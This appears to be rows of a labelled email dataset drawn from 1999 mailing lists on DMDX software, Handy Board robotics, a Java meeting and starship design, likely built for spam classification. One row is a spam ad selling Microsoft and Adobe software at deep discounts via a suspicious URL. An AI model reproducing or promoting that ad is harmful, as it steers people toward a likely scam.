>installed? Pressing the ""Sound"" button in TimeDX yields the same null result- the button depresses, but nothing else happens at all. I am running Windows 95, and the DirectX version is version 5, I think (the program I used to install it is called dx5eng.exe). --Michael ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Wed, 14 Jul 1999 21:21:37 -0700",[DMDX] Re: VOX calibration,"At 01:42 PM 7/15/99 +1000, you wrote: >Pressing the ""Sound"" button in TimeDX yields the same null result- the >button depresses, but nothing else happens at all. I am running Windows 95, >and the DirectX version is version 5, I think (the program I used to >install it is called dx5eng.exe). So that would indicate that there is trouble with your DirectSoundCapture device. I take it that you can record successfully using the plain windows routines that non-DirectX programs use? Unfortunately the diag/info programs (under Program Files / DirectX / Setup there is a program called something Like DxInfo under DX5, it's DXDiag in DX6) that I see make no reference to DirectSoundCapture devices so I don't see any way to get diagnostics there. Perhaps you could try installing DX6.1 (dx61eng.exe) and see if that rectifies things. There's not really a lot more I can do, all the code that interfaces with DirectSoundCapture checks error codes religiously and works on three different machines of mine with two different sounds cards (and SB16 PnP and a TBS Montego), one quiet old and one quiet new one. Perhaps you have run into the problem of a sound card not being able to do full duplex, that is the ability record and playback at the same time, a necessity for DMDX -- you might want to check the resources allocated to the sound card in the machine's Device Manager and see if things look ok. I was going to suggest that the sound device should have two DMA channels but I notice that the Turtle Beach Montego I have only has a single interrupt and no DMA channels at all for it's PCI audio device, the sound blaster emulation has one interrupt and two DMA channels, however I really doubt that DMDX would be using the sound blaster emulation. Perhaps your sound cards just can't do full duplex audio. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ You can't have everything... where would you put it? - Steven Wright ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Wed, 14 Jul 1999 21:24:23 -0700",[DMDX] Re: VOX calibration," I guess it could also be a '98 thing, all my machines are '98, you'll have to wait till tomorrow when I get back in to work where I have one little old lone '95 box for exactly this kind of testing. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ You can't have everything... where would you put it? - Steven Wright ",0,0 Michael Johnston ,DMDX@psy1.psych.arizona.edu,"Thu, 15 Jul 1999 14:22:23 +1000",[DMDX] Re: VOX calibration,"At 21:21 14/07/99 -0700, you wrote: >At 01:42 PM 7/15/99 +1000, you wrote: >>Pressing the ""Sound"" button in TimeDX yields the same null result- the >>button depresses, but nothing else happens at all. I am running Windows 95, >>and the DirectX version is version 5, I think (the program I used to >>install it is called dx5eng.exe). > > So that would indicate that there is trouble with your DirectSoundCapture >device. I take it that you can record successfully using the plain windows >routines that non-DirectX programs use? Unfortunately the diag/info >programs (under Program Files / DirectX / Setup there is a program called >something Like DxInfo under DX5, it's DXDiag in DX6) that I see make no >reference to DirectSoundCapture devices so I don't see any way to get >diagnostics there. Perhaps you could try installing DX6.1 (dx61eng.exe) >and see if that rectifies things. There's not really a lot more I can do, >all the code that interfaces with DirectSoundCapture checks error codes >religiously and works on three different machines of mine with two >different sounds cards (and SB16 PnP and a TBS Montego), one quiet old and >one quiet new one. Perhaps you have run into the problem of a sound card >not being able to do full duplex, that is the ability record and playback >at the same time, a necessity for DMDX -- you might want to check the >resources allocated to the sound card in the machine's Device Manager and >see if things look ok. I was going to suggest that the sound device should >have two DMA channels but I notice that the Turtle Beach Montego I have >only has a single interrupt and no DMA channels at all for it's PCI audio >device, the sound blaster emulation has one interrupt and two DMA channels, >however I really doubt that DMDX would be using the sound blaster >emulation. Perhaps your sound cards just can't do full duplex audio. Well, thanks for the input anyhow. I'll try installing DirectX 6.1. If i do, do I have to uninstall the old DirectX first? I've heard that that's quite hard to do. In any case, if I ever get it going, I'll let you know. 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Whoa! Somebody slap me if I'm wrong, but I thought the HB was incapable of using speeds far above 9600. If it's not, then I've been wasting time. The only thing I could think of doing is building a data buffer, but it seems like that would need a minimum setup of a y-gated serial line with a microcontroller to control data flow. Keep this question on line, or CC me the details if a better solutions found. I'd be interested. Also, I was going to build a website on my schools server for IC and C code, as well as tips (lego or otherwise). I'd build a CGI interface (assuming my school will let me) that would post code with a bit of information about what it does. Much better that going to an FTP site only to find out that you don't exactly know what cfrond.c actually does, and there's nothing to tell you. This would be work in an already tight schedule, so I won't bother if nobody's interested. I've gotten a couple of replies, but only a couple. If you're interested and would use such a site and/or submit code, email me off list. If I get more than 10 or so, I'll do it. A good code archive would be really usefull to everyone. -- ""You have changed your mind. Restart Windows for changes to take effect."" _______________________________________________________________________ Jonathan Pennington | -Geologist/Anthropologist Charleston, SC | -Linux User and Advocate Email at jwp(at)awod.com | 83 V45 Magna (I'm thinking!) root@localhost (Spambot food) | 71 Triumph TR6C ""Pieces"" ----------------------------------------------------------------------- ",0,0 Nick Taylor ,handyboard@media.mit.edu,"Fri, 16 Jul 1999 11:04:51 -0700",Re: Subsumption Architecture,"Thanks to all (especially Lisa Meeden) for your responses to my request for behavior control help. I'm on my way to learning! Thanks, - Nick - ",0,0 Eat Bugs! ,Handyboard list ,"Fri, 16 Jul 1999 13:33:53 -0400",[Fwd: 19200 serial link / IC site],"James Munro wrote: > > Just wanted to mention I liked the idea of the C/IC code library. I may > be able to submit something but probably only for the Miniboard in ICC11. > If you can , it sounds like a great project! > > Regards, > > Jim Munro > Glad you brought that up. I would, of course, take code for the miniboard, fingerboard, etc. I use the F1 board myself. There are enough people out there who like to port things, anyway. I'll start working on it, but it'll take some time. I've got two other programming jobs going on now. Anybody willing to comb book sites and things to build up the database? Jonathan... Hmmm, I saw a nice script I could use in that O'Reilly book... -- ""You have changed your mind. Restart Windows for changes to take effect."" _______________________________________________________________________ Jonathan Pennington | -Geologist/Anthropologist Charleston, SC | -Linux User and Advocate Email at jwp(at)awod.com | 83 V45 Magna (I'm thinking!) root@localhost (Spambot food) | 71 Triumph TR6C ""Pieces"" -----------------------------------------------------------------------",0,0 Chuck McManis ,Handyboard list ,"Fri, 16 Jul 1999 12:56:53 -0700",Yet another board,"Hello Everyone, I've had something of a vision, and I don't think it was spoiled food :-) And I'd like some feedback on it. Bear with me, it requires a bit of set up. After working with Handyboards, Miniboards, 6.270 Boards, BOTBoards and other 68HC11 boards I find I enjoy their easy programability but always seem to need some outside circuit to deal with a particular sensor, or other. Recently, on the advice of a friend, I purchased the ""Xilinx Student Edition V1.5"" from Amazon.com ($90, anyone is a ""student""): http://www.amazon.com/exec/obidos/ASIN/0136716296/ref=ed_oe_p/002-5447280-30 80618 What this book is, is a students guide to learning about FPGAs (Field Programmable Gate Arrays), using Xilinx software. It includes all of the software necessary to design ten thousand gate equivalent FPGAs (XC4010XL parts). The final chapter/example in the book is building an 8 bit microprocessor in a single 5000 gate gate array! If you buy the book you get a coupon that lets you buy the XESS demoboard with an XC4005 chip (used for all the tutorials in the book) for $109. So for an investment of $200, you end up with everything you need to not only learn how to design FPGAs, but to implement them as well. Not a bad deal at all. The XESS demoboard manual is shown here: http://www.xess.com/FPGA/manual.html This board has an 8031 on it, 32K of SRAM, the Xilinx part, a parallel port, VGA type connector, 7 segment LED, and wall-wart to 5V&3V power supply. Its something like 2"" by 4"" in size. Both edges of the boards are rows of pins the are connected to the FPGA so you can plug the whole board into a solderless breadboard and use it that way, or strips of wire wrap headers. The Xilinx part is RAM based, meaning that you download your circuit design into it at powerup, or it can automatically read it from a serial EEPROM, and then you start using it. All in all it is a very cool board, if only it had a 68HC11 instead of an 8031 ... Flash back to my discussion with my FPGA expert friend who designed a 16 bit RISC machine in one of these FPGAs. He was explaining to me how he loaded software into memory for his computer since there were no i/o devices attached except for a serial port. He said, ""First, I download into the FPGA a serial UART and a DMA device which takes data from the serial port and deposits it into memory. Then I reset the board and download the CPU into the FPGA and the CPU starts executing the program out of memory."" If that doesn't sound like Star Trek I don't know what does. So one morning, I woke up from a dream. And in my dream I had a robot board that had a 68HC11, some RAM, and the whole thing was hooked up to an FPGA in a socket next to it. There was a dual motor driver on board with its control pins hooked to the FPGA, the FPGA was connected to the 68HC11 bus signals, there were additional ""high current"" I/O pins connected to the FPGA as well as protected input pins. I had just finished downloading a PWM circuit that attached to the motor controller pins and implemented an i/o port in the 68HC11's address space. I then added a timer/interrupt circuit that controlled a sonar unit and a another device that I could write out servo positioning codes to and it would send out servo signals on the pins I specified. Then I added a 38Khz clock circuit (dividing out the CPU clock) that drove some IR LEDs that were being modulated and then monitored by a digital phase locked loop circuit. I'd used up a thousand gates in the FPGA and still had 4000 left so I implemented an additional serial port that could drive three pins and had it's interrupts on the 68HC11 IRQ pin. The scary thing is, this dream is not only possible, it would probably cost no more than a 20 - 30% premium over what a handyboard does today. So, I want to build this sucker (or have someone build it and I'll buy a bunch!) I figure the board would have an EEPROM for the FPGA so that a ""standard"" configuration could be loaded into it and sent with boards where the user didn't want or need to pay $100 to get the Xilinx tools. Maybe we could create a circuits library that could be downloaded into this board like a software library. Comments? Feedback? Would you buy one if it was available? Even if the kit cost $300? (rough guess based on a four layer board, F1 version of the 68HC11 and XC4005.) --Chuck ",0,1 Gregory Hayward ,"Chuck McManis , Handyboard list ","Fri, 16 Jul 1999 13:38:56 -0500",Re: Yet another board,"Chuck, you may find this page of interest. UC Berkeley has put a 68HC11 with a Xilinx chip together for their natcar enter.A RC car race sponsored by national semiconductor. good luck!! Greg At 12:56 PM 7/16/99 -0700, Chuck McManis wrote: >Hello Everyone, > >I've had something of a vision, and I don't think it was spoiled food :-) >And I'd like some feedback on it. Bear with me, it requires a bit of set up. > >After working with Handyboards, Miniboards, 6.270 Boards, BOTBoards and >other 68HC11 boards I find I enjoy their easy programability but always >seem to need some outside circuit to deal with a particular sensor, or other. > >Recently, on the advice of a friend, I purchased the ""Xilinx Student >Edition V1.5"" from Amazon.com ($90, anyone is a ""student""): >http://www.amazon.com/exec/obidos/ASIN/0136716296/ref=ed_oe_p/002-5447280-30 >80618 >What this book is, is a students guide to learning about FPGAs (Field >Programmable Gate Arrays), using Xilinx software. It includes all of the >software necessary to design ten thousand gate equivalent FPGAs (XC4010XL >parts). The final chapter/example in the book is building an 8 bit >microprocessor in a single 5000 gate gate array! > >If you buy the book you get a coupon that lets you buy the XESS demoboard >with an XC4005 chip (used for all the tutorials in the book) for $109. So >for an investment of $200, you end up with everything you need to not only >learn how to design FPGAs, but to implement them as well. Not a bad deal at >all. > >The XESS demoboard manual is shown here: > http://www.xess.com/FPGA/manual.html > >This board has an 8031 on it, 32K of SRAM, the Xilinx part, a parallel >port, VGA type connector, 7 segment LED, and wall-wart to 5V&3V power >supply. Its something like 2"" by 4"" in size. Both edges of the boards are >rows of pins the are connected to the FPGA so you can plug the whole board >into a solderless breadboard and use it that way, or strips of wire wrap >headers. > >The Xilinx part is RAM based, meaning that you download your circuit design >into it at powerup, or it can automatically read it from a serial EEPROM, >and then you start using it. All in all it is a very cool board, if only it >had a 68HC11 instead of an 8031 ... > >Flash back to my discussion with my FPGA expert friend who designed a 16 >bit RISC machine in one of these FPGAs. He was explaining to me how he >loaded software into memory for his computer since there were no i/o >devices attached except for a serial port. He said, > > ""First, I download into the FPGA a serial UART and a DMA device > which takes data from the serial port and deposits it into memory. > Then I reset the board and download the CPU into the FPGA and the > CPU starts executing the program out of memory."" > >If that doesn't sound like Star Trek I don't know what does. > >So one morning, I woke up from a dream. And in my dream I had a robot board >that had a 68HC11, some RAM, and the whole thing was hooked up to an FPGA >in a socket next to it. There was a dual motor driver on board with its >control pins hooked to the FPGA, the FPGA was connected to the 68HC11 bus >signals, there were additional ""high current"" I/O pins connected to the >FPGA as well as protected input pins. I had just finished downloading a PWM >circuit that attached to the motor controller pins and implemented an i/o >port in the 68HC11's address space. I then added a timer/interrupt circuit >that controlled a sonar unit and a another device that I could write out >servo positioning codes to and it would send out servo signals on the pins >I specified. Then I added a 38Khz clock circuit (dividing out the CPU >clock) that drove some IR LEDs that were being modulated and then monitored >by a digital phase locked loop circuit. I'd used up a thousand gates in the >FPGA and still had 4000 left so I implemented an additional serial port >that could drive three pins and had it's interrupts on the 68HC11 IRQ pin. > >The scary thing is, this dream is not only possible, it would probably cost >no more than a 20 - 30% premium over what a handyboard does today. > >So, I want to build this sucker (or have someone build it and I'll buy a >bunch!) I figure the board would have an EEPROM for the FPGA so that a >""standard"" configuration could be loaded into it and sent with boards where >the user didn't want or need to pay $100 to get the Xilinx tools. Maybe we >could create a circuits library that could be downloaded into this board >like a software library. > >Comments? Feedback? Would you buy one if it was available? Even if the kit >cost $300? (rough guess based on a four layer board, F1 version of the >68HC11 and XC4005.) > >--Chuck > ",0,1 """Terry P. Gathright"" <669@worldnet.att.net>","handyboard@media.mit.edu, Lisa Meeden ","Fri, 16 Jul 1999 16:36:48 -0500",Re: Subsumption Architecture ,"Hi Lisa, Thank you for posting the link to the ic subsumption code at http://www.cs.swarthmore.edu/~meeden/ai/fall98.html I downloaded the code to my handyboard and it will help me toward understanding ic . ---------- > From: Lisa Meeden > To: handyboard@media.mit.edu > Subject: Re: Subsumption Architecture > Date: Monday, July 12, 1999 11:05 AM > > > Hello All: > > > > Reading ""Mobile Robots"" by Jones & Flynn has gotten me interested in > > implementing subsumption architecture (also known as behavior control) > > on my HandyBoard. I've found one site that has related material: > > http://krusty.eecs.umich.edu/cogarch0/subsump/index.html > > > > 1. How many of your are (or have) playing with this programming > > method on your HandyBoard. Please share your experiences, good and > > bad. > > > > 2. Are you willing to share code? > > > > 3. Do you have an pertinent links to share? > > > > Nick, > > I used Handy Boards in my AI class last year and have several labs > available on the web. Check out the link: > > http://www.cs.swarthmore.edu/~meeden/ai/fall98.html > > Then look at the ""Lab 3"" link for some starter code on subsumption > architecture. > > Lisa > -- > Lisa Meeden Computer Science Program > Assistant Professor Swarthmore College > meeden@cs.swarthmore.edu 500 College Ave. > http://www.cs.swarthmore.edu/~meeden Swarthmore, PA 19081 > 610-328-8565 (voice) 610-328-8673 (fax)",0,1 Aaron Dwyer ,Gregory Hayward ,"Sat, 17 Jul 1999 07:58:21 +1000",Re: Yet another board,"> you may find this page of interest. UC Berkeley has put a 68HC11 with a Xilinx chip together for their natcar enter.A RC car race sponsored by national semiconductor. what page was that greg??. url pointers please. thanks aaron. -- _____________________________________________________________________ Aaron Dwyer http://members.xoom.com/aarondwyer ",0,1 Juergen15@aol.com,handyboard@media.mit.edu,"Fri, 16 Jul 1999 21:26:24 -0400",Servo?," Hello guys. I'm new to this stuff so please help me out with this. I want to wire up two servo motors to the handy board. There are three wires to the servo motors. A red wire for 4.8 - 6 vdc, a black wire for ground, and a yellow wire for a positive going pulse from 1mS to 2 mS to reference positioning. Now how do I wire this guy to my handy board. Sincerely, Juergen Lunkwitz ",0,0 Andrea M Okerholm ,Juergen15@aol.com,"Fri, 16 Jul 1999 22:32:24 -0400",Re: Servo?,"Use the servo code on the handy board website. Then connect the yellow wire to digital input 9, the red one to logic power (+5V) ,and the black to motor ground. --On Fri, Jul 16, 1999 9:26 PM +0000 Juergen15@aol.com wrote: > Hello guys. I'm new to this stuff so please help me out with this. I > want to wire up two servo motors to the handy board. There are three > wires to the servo motors. A red wire for 4.8 - 6 vdc, a black wire for > ground, and a yellow wire for a positive going pulse from 1mS to 2 mS to > reference positioning. Now how do I wire this guy to my handy board. > > Sincerely, > Juergen Lunkwitz -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Music is well said to be the speech of angels; in fact, nothing among the utterances allowed to man is felt to be so divine. It brings us near to the infinite. ~ Thomas Carlyle ~ ",0,0 Eat Bugs! ,Handyboard list ,"Fri, 16 Jul 1999 23:05:27 -0400",IC Code Site is Up,"OK, I've done it. I've made a site for code and tips. I'll take anykind of code for any board. The site's up, but barren. I'm leaving town tomarrow, and don't have enough time to get any code listed. I wanted to get it up so everybody can look at the types of categories I've got. It's very a very basic, no frills site, with instructions for submitting. Take a look at the categories, and if you think a new one should be listed, let me know. And I know, the header images are huge. It's midnight, give me a chance. (They're really pretty though, thank ""The Gimp""). And there are bound to be spelling errors. There's little worse than a tired dyslexic. Let me know. So, I'll be out for two days. I expect my mailbox to be filled with code when I get back! Jonathan... I really wasn't going to do this tonight! -- ""You have changed your mind. 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It was past my bedtime (10pm, not a word) -- ""You have changed your mind. Restart Windows for changes to take effect."" _______________________________________________________________________ Jonathan Pennington | -Geologist/Anthropologist Charleston, SC | -Linux User and Advocate Email at jwp(at)awod.com | 83 V45 Magna (I'm thinking!) root@localhost (Spambot food) | 71 Triumph TR6C ""Pieces"" ----------------------------------------------------------------------- ",0,1 Ricardo Garcia ,handyboard@media.mit.edu,"Sat, 17 Jul 1999 18:46:39 -0600",Memory error,"I just assembled my handyboard, but i get some memory errors (almost everywhere, but the addresses vary in some bytes)... i tested two different RAM chips and i still get the errors. They're intermitent (i get many ............'s then many errors, then a few ......'s again. Are my RAM chips faulty, or is it the board? (i also tested two diff. 373's and 132's). Thanks! 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Scott >Hello Everyone, > >I've had something of a vision, and I don't think it was spoiled food :-) >And I'd like some feedback on it. Bear with me, it requires a bit of set up. > >After working with Handyboards, Miniboards, 6.270 Boards, BOTBoards and >other 68HC11 boards I find I enjoy their easy programability but always >seem to need some outside circuit to deal with a particular sensor, or other. > >Recently, on the advice of a friend, I purchased the ""Xilinx Student >Edition V1.5"" from Amazon.com ($90, anyone is a ""student""): >http://www.amazon.com/exec/obidos/ASIN/0136716296/ref=ed_oe_p/002-5447280-30 >80618 >What this book is, is a students guide to learning about FPGAs (Field >Programmable Gate Arrays), using Xilinx software. It includes all of the >software necessary to design ten thousand gate equivalent FPGAs (XC4010XL >parts). The final chapter/example in the book is building an 8 bit >microprocessor in a single 5000 gate gate array! > >If you buy the book you get a coupon that lets you buy the XESS demoboard >with an XC4005 chip (used for all the tutorials in the book) for $109. So >for an investment of $200, you end up with everything you need to not only >learn how to design FPGAs, but to implement them as well. Not a bad deal at >all. > >The XESS demoboard manual is shown here: > http://www.xess.com/FPGA/manual.html > >This board has an 8031 on it, 32K of SRAM, the Xilinx part, a parallel >port, VGA type connector, 7 segment LED, and wall-wart to 5V&3V power >supply. Its something like 2"" by 4"" in size. Both edges of the boards are >rows of pins the are connected to the FPGA so you can plug the whole board >into a solderless breadboard and use it that way, or strips of wire wrap >headers. > >The Xilinx part is RAM based, meaning that you download your circuit design >into it at powerup, or it can automatically read it from a serial EEPROM, >and then you start using it. All in all it is a very cool board, if only it >had a 68HC11 instead of an 8031 ... > >Flash back to my discussion with my FPGA expert friend who designed a 16 >bit RISC machine in one of these FPGAs. He was explaining to me how he >loaded software into memory for his computer since there were no i/o >devices attached except for a serial port. He said, > > ""First, I download into the FPGA a serial UART and a DMA device > which takes data from the serial port and deposits it into memory. > Then I reset the board and download the CPU into the FPGA and the > CPU starts executing the program out of memory."" > >If that doesn't sound like Star Trek I don't know what does. > >So one morning, I woke up from a dream. And in my dream I had a robot board >that had a 68HC11, some RAM, and the whole thing was hooked up to an FPGA >in a socket next to it. There was a dual motor driver on board with its >control pins hooked to the FPGA, the FPGA was connected to the 68HC11 bus >signals, there were additional ""high current"" I/O pins connected to the >FPGA as well as protected input pins. I had just finished downloading a PWM >circuit that attached to the motor controller pins and implemented an i/o >port in the 68HC11's address space. I then added a timer/interrupt circuit >that controlled a sonar unit and a another device that I could write out >servo positioning codes to and it would send out servo signals on the pins >I specified. Then I added a 38Khz clock circuit (dividing out the CPU >clock) that drove some IR LEDs that were being modulated and then monitored >by a digital phase locked loop circuit. I'd used up a thousand gates in the >FPGA and still had 4000 left so I implemented an additional serial port >that could drive three pins and had it's interrupts on the 68HC11 IRQ pin. > >The scary thing is, this dream is not only possible, it would probably cost >no more than a 20 - 30% premium over what a handyboard does today. > >So, I want to build this sucker (or have someone build it and I'll buy a >bunch!) I figure the board would have an EEPROM for the FPGA so that a >""standard"" configuration could be loaded into it and sent with boards where >the user didn't want or need to pay $100 to get the Xilinx tools. Maybe we >could create a circuits library that could be downloaded into this board >like a software library. > >Comments? Feedback? Would you buy one if it was available? Even if the kit >cost $300? (rough guess based on a four layer board, F1 version of the >68HC11 and XC4005.) > >--Chuck > Scott Sherman IT Spec. II St. Cloud State University 720 4th Avenue South Academic Computer Services ECC Building, Room 101 (320) 255-4888 ",0,1 Sean Verret ,,"Tue, 20 Jul 1999 09:06:06 -0700",Re: MIT - micromouse rules,"I'll rephrase.... Can anyone give me the link to the BEAM Robot Olympics and micromouse cometition rules and guidelines? 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Bill Landahl ",0,0 John ,handyboard@media.mit.edu,"Wed, 21 Jul 1999 15:46:11 -0400",Re: MIT Micromouse Rulez!,"The micromouse competition sounded interesting to me and since I had never heard of it, I did a quick search finding the rules at: http://www.devrycols.edu/ieee/micexpl.htm Specific questions can be addressed to otten@mit.edu Has anyone in the handyboard forum competed before? -john ",0,1 John ,handyboard ,"Wed, 21 Jul 1999 15:54:51 -0400",Rules for BEAM competition,"I did some more research (I'v got some time to spare) and came up with this site: http://nis-www.lanl.gov/robot/ I think it's the official site. Also there is a list of other robot competitions at the site http://www.ncc.com/misc/rcfaq.html#LNK012 -john ",0,1 Ziolko Ryan-crz074 ,handyboard@media.mit.edu,"Wed, 21 Jul 1999 15:22:25 -0500",Quickcam - Sharp LCD - Help,"Hello All- Any one have interest in making the B&W (or Color) Quickcam work in with the handyboard? That would be DELUXE. Speaking about the Quickcam, it is possible to modify the camera so that it can feed into a TV? What part is the CCD on there? Also... I have a Sharp LM64K837 24cm [9.4""] Transflective type, B/W STN-LCD Module[VGA Format] panel. Since it is VGA can I just hook it straight up to a video card? If I can, what refresh rates would I use and such. If you can't help me, do you know anyone that might be able to point me in the right direction? Could it work with the handyboard? http://www.sharpsma.com/datasheets/displays/cstn/lm64k837.pdf --------------------------------------------------------------- Ryan Ziolko Secure Design Center, Motorola Inc. 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Gain"" ",Leona ,"Thu, 22 Jul 1999 13:17:06 -0400",Software,"Software Compatibility....ain't it great? 75% Off for All New Software. microsoft, adobe, macromedia! New software on our site: Picture It Premium 9 - $59.95 Illustrator CS CE - $69.95 Works 7 - $69.95 Photoshop CS with ImageReady CS - $99.95 Photoshop CS with ImageReady CS - $99.95 Premiere 7 - $69.95 Borland Delphi 7 Enterprise Edition (2CD) - $69.95 Fireworks MX 2004 - $69.95 CorelDraw Graphics Suite 11 - $59.95 Quark Xpress 6 Passport Multilanguage - $69.95 SQL Server 2000 Enterprise Edition - $69.95 Borland Delphi 7 Enterprise Edition (2CD) - $69.95 Illustrator CS CE - $69.95 Norton System Works 2003 - $59.95 Our site: http://fm34k9lglmlayffakffskxxx.joannebm.com/ ",1,1 Doug Sutherland ,Ziolko Ryan-crz074 ,"Thu, 22 Jul 1999 01:55:51 -0700",Re: Quickcam - Sharp LCD - Help,"At 03:22 PM 7/21/99 -0500, you wrote: >Any one have interest in making the B&W (or Color) Quickcam work >in with the handyboard? There isn't a whole lot of RAM and clock cycles to deal with video on the 68HC11. A more reasonable solution would be to use a wireless transmitter to send video signals to a receiver that interfaces to a TV or some other host computer with more horsepower. The handy board could then be used to drive servos or stepper motors to pan/tilt the camera. For example you could use a pinhole camera like this: http://208.21.248.173/servlet/cat/product/PC63XP.html With a small transmitter like this: http://208.21.248.173/servlet/cat/product/AVX900MICRO.html And a receiver like this: http://208.21.248.173/servlet/cat/product/AVX900R2.html Then you can use any video capture card to convert the NTSC video signal to digital JPEGs or MPEGs. Or if you wanted to display on a monitor you would have to run it through some kind of scan converter to get a VGA or TV signal. There are some receivers that output both NTSC and composite RGB. >Speaking about the Quickcam, it is possible to modify the >camera so that it can feed into a TV? Not easily. The QuickCam produces digital output and was designed for parallel port attachment. >What part is the CCD on there? Dunno. But keep in mind that the new QuickCams from Logitech are not the same as the old ones from Connectix. Connectix used to make their specs publicly available, which is why there are many drivers for the old cams. But since Logitech bought out Connectix, they are no longer making their specs available (fools ...) so it is unlikely that drivers will be written by the linux or other free software communities. If they were smart they'd publish the specs and they'd get more support on additional platforms for free, and they'd sell more cameras too. I have been looking for linux drivers for the quickcams, and they only work with the old cameras for this reason. So be aware that there are NO drivers or specs for the new logitech cams except for the windows drivers supplied by them. >Also... I have a Sharp LM64K837 24cm [9.4""] Transflective >type, B/W STN-LCD Module[VGA Format] panel. Since it is >VGA can I just hook it straight up to a video card? Doubtful. Unless that panel has a standard VGA input header you will require a video card that provides the STN LCD signals. If you do some searching on the web you'll find many boards that support this. But most standard VGA cards don't support LCD panels. >If I can, what refresh rates would I use and such. Better check the Sharp specifications ... >Could it work with the handyboard? The VGA screen? What for? The handy board is really an embedded device, not intended to drive peripherals like a full VGA monitor. Remember that you don't have much RAM to play with here. If you want VGA, you just interface the handyboard to a regular PC with a serial connection. I am exploring the possibility of interfacing the HB with a small industrial motherboard/PC which is about the same size as a handy board. Then I have interfaces to all of the standard PC peripherals, including ethernet, and can also drive VGA CRTs and LCD panels. It's viable, but it's expensive. Check this out: http://208.21.248.173/servlet/cat/product/AVX900R2.html I have a credit card sized 166 Mhz pentium running on one of these mighty mite carrier boards. I then added a PC/104 PCMCIA module with dual PCMCIA slots. I have 144 MB bootable flash on the carrier board and 260 MB available on a PC Card hard drive. This allows me to do anything I want. The handy board acts as a slave device while all of the control logic and fancy GUIs resides on the CardPC based system. Food for thought. Doug ",0,1 Doug Sutherland ,Ziolko Ryan-crz074 ,"Thu, 22 Jul 1999 02:05:39 -0700",Re: Quickcam - Sharp LCD - Help,"Ooops ... I gave the wrong URL below (paste error). Should have been as follows http://www.cellcomputing.com/third/prodmindex.html -- Doug Once Upon a Time (5 minutes ago), I wrote: >I am exploring the possibility of interfacing the HB >with a small industrial motherboard/PC which is about >the same size as a handy board. Then I have interfaces >to all of the standard PC peripherals, including >ethernet, and can also drive VGA CRTs and LCD panels. >It's viable, but it's expensive. Check this out: > >http://208.21.248.173/servlet/cat/product/AVX900R2.html ",0,1 """Fred G. Martin"" ",Lionel Tay ,"Tue, 13 Jul 1999 07:44:14 -0400",Re: No heartbeat when switch on ," did you try reloading the operating program, pcode_hb.s19? use hbdl on windows or 6811 downloader mcl on macintosh. this program (pcode_hb.s19) must be resident on the HB at all times. it sounds like for whatever reason it got corrupted. this isn't anything to worry about, just reload. fred In your message you said: > Hello > > I had used the HB for a few days already. Recently when I used the HB to > drive 4 9V motors, the L293D chips got very hot. After that it LEDs > start lighting up without the software turning on the motors. So I > replace the L293D chips. Now when I turned on the HB, all the LEDs for > the motors lighted up. Also there is no pulse from the heartbeat. The IC > program also cannot communicate with the HB. > > Regards > Lionel > > ",0,0 Bill Harris ,java-sig@csc-sun.math.utah.edu,"Thu, 22 Jul 1999 06:56:01 -0600",July 27 Java Sig Mtg,"Topic: JavaOne Highlights and Jini Presentation - Bill Harris When: Tuesday night, 7/27/1999, 7:00 - 8:00 PM Where: Room 110, EMCB, Univ.Of Utah Campus Bill will talk about this year's JavaOne conference and then present Jini, Sun's technology for easily connecting devices to LANs/WANs. Jini promises to be one of the most significant future applications of Java technology. There will be door prizes. Refreshments will be provided by Consult-Net: http://www.consult-net.com/ See http://www.psicomp.com/techsig/ for more details. ",0,1 Bruce Moore ,handyboard@media.mit.edu,"Thu, 22 Jul 1999 07:18:42 -0400",Looking for something,"Does anybody have an idea where I can lay my hands on two L298 h-bridges. I've looked at all the normal elec. supply places and can't seem to find em. I need two. Would appreciate any help or suggestions. Thanks ",0,0 MAR ERICSON ,Handy Board mailing list ,"Thu, 22 Jul 1999 10:39:09 -0400",Difference between TO-220 and TO-220AB,"What's the difference between these two transistor packages. They seem to amount to a significant price difference. Any realizable performace differences between these two? ----------- ericson mar Robotics Consultant mar@cooper.edu (212)353-4356 Department of Mechanical Engineering The Cooper Union for the Advancement of Science and Art ------------------------------------------------------- ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Thu, 22 Jul 1999 14:11:16 -0700",[DMDX] 1.1.10," 1.1.10 contains a few changes but of most relevance is enhanced compatabilty checking for the DigitalVOX device. It appears that some older sound cards when used for a DigitalVOX will pass all of the DirectSoundCapture creation routines but simply provide no data, the VOX tests in TimeDX and DMDX now check for this and provide a warning if the card is found to do so. I haven't got a card that does this but I am assured by a developer in Europe that he had to test for no data being generated -- the only card I have that fails is an old Ensoniq thing and it just fails the DirectSoundCapture creation. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Nobody ever ruined their eyesight by looking at the bright side of something. ",0,0 KellySt@aol.com,"nlindber@u.washington.edu, starship-design@lists.uoregon.edu","Thu, 22 Jul 1999 21:58:40 -0400",Re: starship-design: Clarke's Laws,"In a message dated 7/22/99 2:59:41 PM, nlindber@u.washington.edu writes: >Hello All, > I have heard of Clarke's 2nd Law, ""All sufficiently advanced >technology is indistinguishable from magic"", But i have always heard that >second-hand, usually in discussions about human ET relations. I was >wondering if anyone on the group knew what the title of clarke's original >essay/book having to do with the ""laws"" was. >Thanks, >Nels Lindberg I'm not sure it was even something written in his essays. Kelly >From VM Mon Jul 26 09:43:12 1999 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""969"" ""Saturday"" ""24"" ""July"" ""1999"" ""18:55:32"" ""+1000"" ""Adam Crowl"" ""ajcrowlx2@ozemail.com.au"" nil ""33"" ""Re: starship-design: Clarke's Laws"" ""^From:"" nil nil ""7"" nil ""starship-design: Clarke's Laws"" nil nil nil] nil) Content-Length: 969 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.9.3/8.9.3) id BAA16032 for starship-design-outgoing; Sat, 24 Jul 1999 01:54:28 -0700 (PDT) Received: from fepa.mail.ozemail.net (fepa.mail.ozemail.net [203.2.192.101]) by darkwing.uoregon.edu (8.9.3/8.9.3) with ESMTP id BAA16025 for ; Sat, 24 Jul 1999 01:54:24 -0700 (PDT) Received: from oemcomputer 